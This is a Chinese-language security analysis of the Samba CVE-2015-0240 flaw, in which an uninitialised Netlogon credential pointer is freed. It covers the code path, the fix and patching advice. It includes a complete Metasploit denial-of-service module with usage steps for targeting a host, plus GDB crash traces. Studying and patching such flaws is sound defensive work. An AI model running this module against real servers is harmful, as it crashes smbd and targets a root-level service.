Samba 是利用 SMB 协议实现文件共享的一款著名开源工具套件。日前 Samba 曝出一个严重安全漏洞,该漏洞出现在 smbd 文件服务端,漏洞编号为 CVE-2015-0240,可以允许攻击者远程远程执行恶意代码。
作为一款老牌系统工具,Samba 的使用率非常高,更是作为很多 *BSD 和苹果 OS X操作系统的组件存在,因此影响面非常大。Samba 支持的操作系统包括 Windows 95/98/NT,OS/2 和Linux。
该安全漏洞几乎影响Samba 全部版本,具体受影响版本如下:
Samba 3.5.x 全版本 Samba 3.6.x 到 Samba 3.6.25 之前的版本 Samba 4.0.x 到 Samba 4.0.25 之前的版本 Samba 4.1.x 到 Samba 4.1.17 之前的版本 Samba 4.2.x 到 Samba 4.2.0rc5 之前的版本
以下的代码分析、调试和复现过程是在 samba-3.6.9 debuginfo 版中进行,系统版本为 CentOS 6.4。
源码可通过下面的路径获取:
https://download.samba.org/pub/samba/stable/
http://debuginfo.centos.org/6/x86_64/ (debuginfo 版 rpm)
在请求 Samba Netlogon 服务的时候,大致的交互流程如下图:
Samba客户端如果想访问服务器上的资源,首先需要一个授权验证的过程。客户端会通过NetrServerAuthenticate 请求先到 Samba 服务器进行认证,服务器在收到请求后,会到域控服务器获取客户端的用户信息,并进行一系列的认证操作。
在认证通过后,服务器会用客户端、服务器、以及客户端密码 hash 等信息,生成一个会话凭证(credential),并保存到本地文件中。默认情况下该文件的存储路径为/var/lib/samba/private/schannel_store.tdb。
生成文件时所用的 hash 索引用到了 Samba 客户端的计算机名,这个计算机名,是在 NetrServerAuthenticate请求中由客户端提供的。
后续再调用 NetrServerPasswordSet请求时,服务器会先取出之前存储的凭证,并将之和请求中客户端提供的凭证做校验,在校验成功后才进行设置密码的操作。
漏洞恰恰就出现在 NetrServerPasswordSet请求从本地文件里获取凭证的过程中。
首先来看 _netr_ServerPasswordSet函数,代码部分如下:
可以看到,creds 指针在声明的时候,没有赋初值,而且该指针是个局部变量,如果初始化时处理不当就会导致野指针。后续在函数 netr_creds_server_step_check 内部对 creds 进行初始化。如果初始化失败就会在 TALLOC_FREE(creds) 的地方释放这个指针,并返回错误码。如果初始化成功,后续就会正常使用这个指针。
因此,只有在 netr_creds_server_step_check 函数初始化失败,即 status 返回非零错误码后,才有可能造成 creds 未被赋值,进而在 TALLOC_FREE(creds) 的地方释放野指针。
接下来我们看 netr_creds_server_step_check 函数内部如何实现,如下图:
传入的是 creds 的二重指针,是为了给 creds 初始化,前面有个分支,读取了 smb.conf 文件中的配置信息。
creds 指针又被传入了 schannel_check_creds_state 函数中。所用我们进一步跟进schannel_check_creds_state 函数,如下图:
由上面的代码中可以看到,这个函数中是最终给 creds 指针赋值的位置,而且赋值位置在函数的尾部,只要前面产生错误,就会直接跳转到 done 标签的部分,造成 creds 指针未被赋值。接下来我们就分别分析以下,可能会导致走到 done 分支函数的功能。
open_schannel_session_store 函数的功能是打开服务器端本地保存凭证的文件(默认路径为 /var/lib/samba/private/schannel_store.tdb,可在 smb.conf 文件中配置)。只有在文件打开失败的情况下,该函数才会返回失败,无法由远程触发,而且通常这个操作也不会失败。
schannel_fetch_session_key_tdb 函数的功能,是用 NetrServerPasswordSet 请求中提供的 computer name 字段作为索引的一部分,从 schannel_store.tdb 文件中保存的 hash 结构中获取当前发送请求的客户端凭证。这里对于攻击者来说是比较容易让服务端返回错误的地方。
像前面 Netlogon 中提及的,如果客户端在发送 NetrServerPasswordSet 请求前没有发送 NetrServerAuthenticate 请求,服务端本地就不会保存对应这个客户端的凭证记录。此时就会造成这里返回失败,或者换个角度来说,如果 NetrServerPasswordSet 请求所提供的计算机名,服务器没见过或为空,这个函数就会返回错误。
最后是netlogon_creds_server_step_check函数。该函数的功能实际上就是检查NetrServerPasswordSet 请求中所提供的凭证,是否跟服务器端保存的凭证一致,如果不一致,也会返回错误。这里猜测也是攻击者比较好控制的点,只需在构造 NetrServerPasswordSet 请求时填充非法凭证即可。
所以最终本应由 schannel_check_creds_state 函数初始化的 creds 指针,由于提前错误返回,使得该指针没有被赋值。再加上这个指针在声明时也没有被赋值,最终导致了野指针。并在 TALLOC_FREE(creds) 时,使用该野指针。
如上面图中所示,实际上修复的内容很简单,只是添加了 creds 指针的有效性检查。首先将 creds 的初值置空,并在 TALLOC_FREE(creds) 之前添加了 creds 指针和计算机名的判空操作。
结合上面分析的内容,总结上述可能会导致初始化失败的位置,触发条件如下:
1)发送NetrServerPasswordSet请求的客户端之前没有在服务端进行过认证(没有发送过 NetrServerAuthenticate 请求);
2) 客户端发送的 NetrServerPasswordSet 请求的 computer name 字段值为空;
3) 客户端发送的 NetrServerPasswordSet 请求中的凭证为无效凭证;
POC 是在 metasploit 下添加的模块,代码如下:
## # This module requires Metasploit:http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' classMetasploit3< Msf::Auxiliary include Msf::Exploit::Remote::DCERPC include Msf::Exploit::Remote::SMB include Msf::Auxiliary::Dos definitialize(info ={}) super(update_info(info, 'Name' =>'Samba Netlogon', 'Description' =>%q{ This is a netlogon test module. }, 'Author' =>['hurricaner'], 'License' => MSF_LICENSE, 'References' => [ ['CVE','2015-0240'], ] )) register_options( [ OptString.new('SMBPIPE',[true, "The pipe name to use",'NETLOGON']), ],self.class) end defrun pipe = datastore['SMBPIPE'].upcase print_status("Connecting to the SMB service...") connect() smb_login() datastore['DCERPC::fake_bind_multi']=false handle = dcerpc_handle('12345678-1234-abcd-ef00-01234567cffb','1.0','ncacn_np',["//#{pipe}"]) print_status("Bindingto #{handle} ...") dcerpc_bind(handle) print_status("Boundto #{handle} ...") # stub = lsa_open_policy(dcerpc) stub = NDR.uwstring('////hello world') stub << NDR.wstring('root') stub << NDR.wstring('windows-01') stub <<'aabbccddabcd' stub <<'0123456789012345' print_status("Callingthe vulnerable function...") begin # netlogon setpassword dcerpc.call(0x6, stub) rescue Rex::Proto::DCERPC::Exceptions::NoResponse,::EOFError print_good('Server did not respond, this is expected') rescue=> e if e.to_s =~/STATUS_PIPE_DISCONNECTED/ print_good('Server disconnected, this is expected') else raise e end end # dcerpc.call(0x0f, stub) disconnect end end
1. 将上述代码拷贝到 netlogon_uaf.rb 中,并将 netlogon_uaf.rb 文件拷贝到 msf 的模块目录下,比如:/usr/share/metasploit-framework/modules/auxiliary/dos/samba
2.启动 msfconsole
3.显示需要配置的选项:show options
4.设置RHOST值:set RHOSTXXX.XXX.XXX.XXX
5.执行模块:run
Msf 模块执行之后,看到目标机器 smbd 进程已经打出异常栈,而且是崩溃在了 _talloc_free 函数中。
接下来我们用 GDB 验证一下分析的结论是否正确:
(1)我们在 _netr_ServerPasswordSet,netr_creds_server_step_check 函数打断点,如下图所示,断住后单步执行,这里标红的值 creds_out(0x7fffffffd418)就是待会释放异常的局部变量 creds的地址,computer_name 是从报文中获取的计算机名“windows-01”。
(2)进一步查看 creds 指针变量的值为 0x00007ffff4dcd1dc
(3)发现 0x00007ffff4dcd1dc 地址是内存中的代码段地址,反汇编后发现这个地址是属于函数 _talloc_zero,并且这个地址刚好是 memset 函数的返回地址,据此可以推测,当前 creds 指针的地址是曾经调用 _talloc_zero 函数时的栈帧,并且存储的是它调用 memset 函数的返回地址。在这里将代码的地址当作堆地址释放,是引起错误的根源。
(4)接下来我们看看,netr_creds_server_step_check 函数返回了什么。这个函数里面调用了schannel_check_creds_state 去检查服务器上数据库中的 creds 状态,查找状态时使用的 key 是使用从报文中获取的 computer_name(“windows-01”) 变为全部大写字符来生成的,这里 keystr 值为“SECRETS/SCHANNEL/WINDOWS-01”,并且我们看到查找的返回值为空。
(5)上面查找的值为空之后,后面两层函数都直接将错误状态值 (0xC0000034)返回了,这就使得代码最终走到了 TALLOC_FREE(creds) 这个致命的调用,来释放一个野指针,导致崩溃。
报文的交互流程如下:
Samba 客户端发送恶意的 Netlogon 数据包给 smbd 就可以触发该漏洞,如果漏洞利用成功就可以获得 smbd 运行权限,而 smbd 是以 root 权限执行的,导致权限提升。
http://cve.scap.org.cn/CVE-2015-0240.html 给予漏洞的评分是 10 分,强烈建议企业和个人用户都尽快安装补丁修复该漏洞。
Samba 官方网站已经发布了最新补丁,建议广大用户尽快升级。各大 Linux 厂商也已经发布最新的补丁程序,升级办法参考各大官方网站即可。
补丁更新完成后,都需要重启 smbd 服务。
https://www.samba.org/samba/security/CVE-2015-0240
http://lists.opensuse.org/opensuse-security-announce/2015-02/msg00028.html
https://access.redhat.com/articles/1346913
https://access.redhat.com/security/cve/CVE-2015-0240
http://www.ubuntu.com/usn/usn-2508-1/
https://security-tracker.debian.org/tracker/CVE-2015-0240